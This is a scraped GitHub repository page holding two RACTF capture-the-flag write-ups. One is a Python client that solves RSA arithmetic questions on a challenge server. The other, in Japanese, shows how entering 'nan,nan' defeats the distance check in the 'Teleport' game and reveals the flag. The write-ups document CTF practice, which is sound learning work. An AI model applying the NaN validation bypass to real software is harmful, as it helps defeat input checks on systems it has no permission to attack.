</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Suspended_Belief</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Teleport</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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This challenge requires solving 100 RSA problems consecutively with maximum 1s for each problem.
There are 6 different types of problems:- Finding n given p and q- Finding q given n and p- Finding d given p, q and e- Finding phi given p and q- Finding pt given p, q (or phi), e and ct- Finding ct given p, q (or phi), e and pt
This is boresome and I only tried at the last minutes. Thereforce I didn't manage to solve it on time.
Anyway, here's the code:
```import socket
# Extended Euclidean Algorithmdef egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
# application of Extended Euclidean Algorithm to find a modular inversedef modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') return x % m
def find_pt(p, q, e, ct): n = p * q phi = (p - 1) * (q - 1) d = modinv(e, phi) pt = pow(ct, d, n) return pt
def find_ct(p, q, e, pt): n = p * q phi = (p - 1) * (q - 1) ct = pow(pt, e, n) return ct
def find_d(p, q, e): n = p * q phi = (p - 1) * (q - 1) d = modinv(e, phi) return d
IP = '88.198.219.20'PORT = 23125
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((IP, PORT))s.setblocking(0)
buffer = b''
while True: # Read until a prompt or line break try: chunk = s.recv(4096) buffer += chunk print(chunk.decode(), end='') except BlockingIOError: pass
if b'\n' not in buffer and not buffer.endswith(b': '): continue
# Grab the oldest line buffer = buffer.split(b'\n', 1) if len(buffer) == 1: line, buffer = buffer[0], b'' else: line, buffer = buffer
# Llines start with [] if line[:1] != b'[': continue
# Use slicing not indexing because indexing bytes returns ints mode = line[1:2] vari = line[4:7] #print(vari) if mode == b'*': print('*') elif mode == b'c': p,q,e,n,pt,ct,phi = 0,0,0,0,0,0,0 print('c') elif mode == b':': if vari == b'p: ': p = int(line[7:].decode()) #print(p) elif vari == b'q: ': q = int(line[7:].decode()) #print('q: ' + str(q)) elif vari == b'e: ': e = int(line[7:].decode()) #print(e) elif vari == b'n: ': n = int(line[7:].decode()) #print(n) elif vari == b'phi': phi = int(line[9:].decode()) #print(phi) elif vari == b'pt:': pt = int(line[8:].decode()) #print(pt) elif vari == b'ct:': ct = int(line[8:].decode()) #print(ct) elif mode == b'!': #print('!') if line == b'[!] A good cryptologist should be faster than that!': break; elif line == b'[!] INCORRECT ANSWER!': break; elif mode == b'?': #print('?') if vari == b'n: ': n = p * q #print(n) s.sendall((str(n) + '\n').encode()) elif vari == b'q: ': q = n // p #print(q) s.sendall((str(q) + '\n').encode()) elif vari == b'd: ': d = find_d(p, q, e) #print(d) s.sendall((str(d) + '\n').encode()) elif vari == b'phi': phi = (p - 1) * (q - 1) #print(phi) s.sendall((str(phi) + '\n').encode()) elif vari == b'pt:': if q == 0: q = (phi // (p - 1)) + 1 #print('q: ' + str(q)) pt = find_pt(p, q, e, ct) #print(pt) s.sendall((str(pt) + '\n').encode()) elif vari == b'ct:': if q == 0: q = (phi // (p - 1)) + 1 #print('q: ' + str(q)) ct = find_ct(p, q, e, pt) #print(ct) s.sendall((str(ct) + '\n').encode()) else: print(line)```
Result:
```[c] Challenge 100:[:] p: 6892503881845816135437970025250733877066829303171701023363747158858557273648035991068180509649935204522542306573221659692941997106933628410204032749970179[:] q: 6892503881845816135437970025250733877066829303171701023363747158858557273648035991068180509649935204522542306573221659692941997106933628410204032749970179[:] e: 65537[?] d: c[!] Correct answer
[F] FLAG: ractf{F45t35tCryp70gr4ph3rAr0und}``` |
# Teleport:Misc:300ptsChallenge instance ready at 95.216.233.106:34351. One of our admins plays a strange game which can be accessed over TCP. He's been playing for a while but can't get the flag! See if you can help him out. [teleport.py](teleport.py)
# Solutionncすると座標を移動できるゲームなようだ。 ただしユークリッド距離で10未満しか移動できない。 ```bash$ nc 95.216.233.106 34351Your player is at 0,0The flag is at 10000000000000, 10000000000000Enter your next position in the form x,yYou can move a maximum of 10 metres at a timeCurrent position: 0.0, 0.0Enter next position(maximum distance of 10): 1,1Current position: 1.0, 1.0Enter next position(maximum distance of 10): 5,5Current position: 5.0, 5.0Enter next position(maximum distance of 10): 1000,1000You moved too farCurrent position: 5.0, 5.0~~~```ソースは以下のようになっている。 ```python:teleport.pyimport math
x = 0.0z = 0.0flag_x = 10000000000000.0flag_z = 10000000000000.0print("Your player is at 0,0")print("The flag is at 10000000000000, 10000000000000")print("Enter your next position in the form x,y")print("You can move a maximum of 10 metres at a time")for _ in range(100): print(f"Current position: {x}, {z}") try: move = input("Enter next position(maximum distance of 10): ").split(",") new_x = float(move[0]) new_z = float(move[1]) except Exception: continue diff_x = new_x - x diff_z = new_z - z dist = math.sqrt(diff_x ** 2 + diff_z ** 2) if dist > 10: print("You moved too far") else: x = new_x z = new_z if x == 10000000000000 and z == 10000000000000: print("ractf{#####################}") break```100回のループでは10000000000000,10000000000000には到達できそうにない。 入力から現在地を引いている部分に注目する。 ```python~~~ diff_x = new_x - x diff_z = new_z - z dist = math.sqrt(diff_x ** 2 + diff_z ** 2) if dist > 10: print("You moved too far") else:~~~```この手のものとして、inf、1e100、nanなどでの動作が思わぬ落とし穴を生むが、今回はnanのようだ。 ```bash$ python~~~>>> import math>>> math.nannan>>> math.nan - 0nan>>> math.sqrt(math.nan ** 2 + math.nan ** 2)nan>>> math.nan > 10False>>> 10000000000000 - math.nannan```つまりnanを入力することにより、new_x、new_zがnan、nanになるためif dist > 10を通り抜けx、zはnanになる。 さらに10000000000000を入力することで、new_x、new_zは10000000000000、10000000000000になるがif文をバイパスできる。 ```bash$ nc 95.216.233.106 34351Your player is at 0,0The flag is at 10000000000000, 10000000000000Enter your next position in the form x,yYou can move a maximum of 10 metres at a timeCurrent position: 0.0, 0.0Enter next position(maximum distance of 10): nan,nanCurrent position: nan, nanEnter next position(maximum distance of 10): 10000000000000,10000000000000ractf{fl0at1ng_p01nt_15_h4rd}```flagはテレポート先にあった。
## ractf{fl0at1ng_p01nt_15_h4rd} |
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<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf_writeups</span></span></span><span>/</span>RACTF<span>/</span> </div> </div>
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<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf_writeups</span></span></span><span>/</span>RACTF<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/satoki/ctf_writeups/tree-commit/a2f8840c264cc9579cb67d03b038e4fc172528b2/RACTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Admin_Attack</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>B007L36_CRYP70..._4641N</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>B007l3G_CRYP70</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>BR.MOV</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Baiting</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Brick_by_Brick</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>C0llide?</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cut_Short</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dead_Man</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Entrypoint</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Finding_server_information</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Getting_admin</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Insert_witty_name</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Quarantine</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Quarantine_-_Hidden_information</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>RAirways</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Reading_Between_the_Lines</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Really_Small_Algorithm</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Remote_Retreat</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
